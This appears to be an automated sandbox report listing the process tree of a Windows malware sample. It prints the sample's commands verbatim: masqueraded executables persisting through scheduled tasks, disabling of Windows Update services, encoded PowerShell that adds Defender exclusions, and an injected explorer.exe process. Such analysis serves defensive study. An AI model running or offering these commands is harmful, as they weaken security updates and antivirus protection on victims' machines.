                                        "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart
                                        2⤵
                                        • Executes dropped EXE
                                        PID:5336
                                        • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
                                          C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode
                                          3⤵
                                          • Modifies system executable filetype association
                                          • Executes dropped EXE
                                          • Registers COM server for autorun
                                          • Checks computer location settings
                                          • Adds Run key to start application
                                          • Modifies Internet Explorer settings
                                          • Modifies registry class
                                          PID:2260
                                          • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe
                                            "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            • Registers COM server for autorun
                                            • Loads dropped DLL
                                            • Modifies registry class
                                            PID:268
                                          • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                            /updateInstalled /background
                                            4⤵
                                            • Modifies system executable filetype association
                                            • Executes dropped EXE
                                            • Registers COM server for autorun
                                            • Checks computer location settings
                                            • Loads dropped DLL
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious behavior: AddClipboardFormatListener
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            • Suspicious use of SetWindowsHookEx
                                            PID:1860
                                    • C:\Windows\System32\rundll32.exe
                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                      1⤵
                                        PID:4532
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\sppsvc.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:4404
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\sppsvc.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:4952
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\sppsvc.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1840
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2652
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3664
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3900
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Users\Public\fontdrvhost.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3144
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Public\fontdrvhost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1992
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Users\Public\fontdrvhost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2296
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Favorites\Links\sihost.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:644
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Admin\Favorites\Links\sihost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2336
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\Favorites\Links\sihost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:536
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\odt\RuntimeBroker.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3088
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3748
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:532
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\es\sihost.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2136
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\es\sihost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2996
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\es\sihost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1460
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "brokerHostmonitorb" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\brokerHostmonitor.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:2444
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "brokerHostmonitor" /sc ONLOGON /tr "'C:\Users\Default User\brokerHostmonitor.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:4328
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "brokerHostmonitorb" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\brokerHostmonitor.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:4544
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\OfficeClickToRun.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1640
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\OfficeClickToRun.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:5104
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\OfficeClickToRun.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1540
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "AntiVpsProtectorA" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\AntiVpsProtector.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1664
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "AntiVpsProtector" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\AntiVpsProtector.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3224
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "AntiVpsProtectorA" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\AntiVpsProtector.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:620
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1756
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:552
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:5056
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\backgroundTaskHost.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:5048
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Default User\backgroundTaskHost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1268
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\backgroundTaskHost.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:876
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:1884
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Creates scheduled task(s)
                                        PID:3704
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
                                        1⤵
                                        • Process spawned unexpected child process
                                        • Blocklisted process makes network request
                                        • Creates scheduled task(s)
                                        • Suspicious use of WriteProcessMemory
                                        PID:4720
                                      • C:\Program Files\Google\Chrome\updaterchr.exe
                                        "C:\Program Files\Google\Chrome\updaterchr.exe"
                                        1⤵
                                        • Drops file in Drivers directory
                                        • Executes dropped EXE
                                        • Drops file in System32 directory
                                        • Suspicious use of SetThreadContext
                                        • Drops file in Program Files directory
                                        • Modifies data under HKEY_USERS
                                        PID:4020
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAcQB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBuAGgAcQBrACMAPgAgAEAAKAAgADwAIwBtAHcAdAAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBqAGEAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAbABkAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgBlAGcAIwA+AA=="
                                          2⤵
                                          • Drops file in System32 directory
                                          • Modifies data under HKEY_USERS
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1144
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                          2⤵
                                            PID:2008
                                            • C:\Windows\system32\sc.exe
                                              sc stop UsoSvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:4996
                                            • C:\Windows\system32\sc.exe
                                              sc stop WaaSMedicSvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:3184
                                            • C:\Windows\system32\sc.exe
                                              sc stop wuauserv
                                              3⤵
                                              • Launches sc.exe
                                              PID:5692
                                            • C:\Windows\system32\sc.exe
                                              sc stop bits
                                              3⤵
                                              • Launches sc.exe
                                              PID:5220
                                            • C:\Windows\system32\sc.exe
                                              sc stop dosvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:2428
                                            • C:\Windows\system32\reg.exe
                                              reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                                              3⤵
                                              • Modifies registry key
                                              PID:2296
                                            • C:\Windows\system32\reg.exe
                                              reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                                              3⤵
                                              • Modifies registry key
                                              PID:3224
                                            • C:\Windows\system32\reg.exe
                                              reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                                              3⤵
                                              • Modifies registry key
                                              PID:396
                                            • C:\Windows\system32\reg.exe
                                              reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                                              3⤵
                                              • Modifies registry key
                                              PID:3988
                                            • C:\Windows\system32\reg.exe
                                              reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                                              3⤵
                                              • Modifies registry key
                                              PID:5644
                                            • C:\Windows\system32\takeown.exe
                                              takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                                              3⤵
                                              • Possible privilege escalation attempt
                                              • Modifies file permissions
                                              PID:2268
                                            • C:\Windows\system32\icacls.exe
                                              icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                              3⤵
                                              • Possible privilege escalation attempt
                                              • Modifies file permissions
                                              PID:4228
                                            • C:\Windows\system32\reg.exe
                                              reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                                              3⤵
                                              • Modifies registry key
                                              PID:4696
                                            • C:\Windows\system32\reg.exe
                                              reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                              3⤵
                                              • Modifies registry key
                                              PID:5300
                                            • C:\Windows\system32\reg.exe
                                              reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                              3⤵
                                              • Modifies registry key
                                              PID:5696
                                            • C:\Windows\system32\reg.exe
                                              reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                              3⤵
                                              • Modifies registry key
                                              PID:3052
                                            • C:\Windows\system32\schtasks.exe
                                              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                                              3⤵
                                                PID:4536
                                              • C:\Windows\system32\schtasks.exe
                                                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                                                3⤵
                                                  PID:5332
                                                • C:\Windows\system32\schtasks.exe
                                                  SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                                                  3⤵
                                                    PID:5728
                                                  • C:\Windows\system32\schtasks.exe
                                                    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                                                    3⤵
                                                      PID:4544
                                                    • C:\Windows\system32\schtasks.exe
                                                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                                                      3⤵
                                                        PID:6048
                                                      • C:\Windows\system32\schtasks.exe
                                                        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                                                        3⤵
                                                          PID:4132
                                                        • C:\Windows\system32\schtasks.exe
                                                          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                                          3⤵
                                                            PID:448
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                          2⤵
                                                            PID:3704
                                                            • C:\Windows\system32\powercfg.exe
                                                              powercfg /x -hibernate-timeout-ac 0
                                                              3⤵
                                                                PID:4080
                                                              • C:\Windows\system32\powercfg.exe
                                                                powercfg /x -hibernate-timeout-dc 0
                                                                3⤵
                                                                  PID:5248
                                                                • C:\Windows\system32\powercfg.exe
                                                                  powercfg /x -standby-timeout-ac 0
                                                                  3⤵
                                                                    PID:2248
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    powercfg /x -standby-timeout-dc 0
                                                                    3⤵
                                                                      PID:5660
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAZQBrACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAGMAaAByAC4AZQB4AGUAIgAnACkAIAA8ACMAawBmAHEAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBpAGYAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwBiAHIAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBHAE4AQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGsAdgBrAHUAIwA+ADsA"
                                                                    2⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:4220
                                                                  • C:\Windows\System32\conhost.exe
                                                                    C:\Windows\System32\conhost.exe "bosjczbpam"
                                                                    2⤵
                                                                      PID:6032
                                                                    • C:\Windows\explorer.exe
                                                                      C:\Windows\explorer.exe lhjhhfereinutqkk0 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUJUDxpO3xQsm1i/s1JWMxbg4CDDUjUzNRskPjZWvNKNodOgKV2HJ8tTN0QVJgDyg+2bViTlti9ZxC5n49dcOUKQgK8rh3k8SmDF6+u9ZQ5hRhwXNv/1S1TKEHJpFva5VT15ywFxRzv+p6QJjNw/L6ZZoe3/92cs2DQxDkoE3IsIzkx9TTRmCLGdVqAhSSaqD/gWCF8syjnqONW8nAkIDCaiX6JyJkuCgTuOQv8CpGeKv1VALuliP/ha8Yjhtr6HMGk2rtUy+qneh6aJBuRE2Vl54snxeUp5YsY49VDdIyEysvbl9BsEUC35mC2kOBCmxC0JxCaQIXPdfkaqqK0slLenN1msO3trj6XDK8r1gefSJa5eSdUWn80xUbCsMx+vSBw/fgeBKOpIbO3PFsHY47GpDwiBS4J/sfvFzm9Z81e/R0fe5W8jG0UPs4d7gICDhbEElYG2jSwHbK0S6OPBDvA3oFTND9PNmzn3LH3zqfX+FjpyLAxPdNktvAJH72zq+MPDCIF7jYmQ5wBcD3ROPUkA==
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:996
                                                                  • C:\Windows\system32\DllHost.exe
                                                                    C:\Windows\system32\DllHost.exe /Processid:{F32D97DF-E3E5-4CB9-9E3E-0EB5B4E49801}
                                                                    1⤵
                                                                      PID:5760
                                                                    • C:\Windows\system32\vssvc.exe
                                                                      C:\Windows\system32\vssvc.exe
                                                                      1⤵
                                                                        PID:3088
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                                                                        1⤵
                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                        PID:992
                                                                      • C:\Users\Default User\backgroundTaskHost.exe
                                                                        "C:\Users\Default User\backgroundTaskHost.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:32
                                                                      • C:\Users\Default User\brokerHostmonitor.exe
                                                                        "C:\Users\Default User\brokerHostmonitor.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:4524
                                                                      • C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5488
                                                                      • C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe
                                                                        "C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5492
                                                                      • C:\odt\RuntimeBroker.exe
                                                                        C:\odt\RuntimeBroker.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5432
                                                                      • C:\Users\Default User\backgroundTaskHost.exe
                                                                        "C:\Users\Default User\backgroundTaskHost.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:1724
                                                                      • C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\sppsvc.exe
                                                                        "C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\sppsvc.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:392
                                                                      • C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\es\sihost.exe
                                                                        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\es\sihost.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5788
                                                                      • C:\Recovery\WindowsRE\Idle.exe
                                                                        C:\Recovery\WindowsRE\Idle.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:3336
                                                                      • C:\Users\Public\fontdrvhost.exe
                                                                        C:\Users\Public\fontdrvhost.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5036
                                                                      • C:\Users\Default User\brokerHostmonitor.exe
                                                                        "C:\Users\Default User\brokerHostmonitor.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:272
                                                                      • C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5656
                                                                      • C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe
                                                                        "C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:5396
                                                                      • C:\Users\Default User\backgroundTaskHost.exe
                                                                        "C:\Users\Default User\backgroundTaskHost.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:4892
                                                                      • C:\odt\RuntimeBroker.exe
                                                                        C:\odt\RuntimeBroker.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:1524
                                                                      • C:\Users\Default User\brokerHostmonitor.exe
                                                                        "C:\Users\Default User\brokerHostmonitor.exe"
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:396
                                                                      • C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        C:\Recovery\WindowsRE\AntiVpsProtector.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:3916
                                                                      • C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe
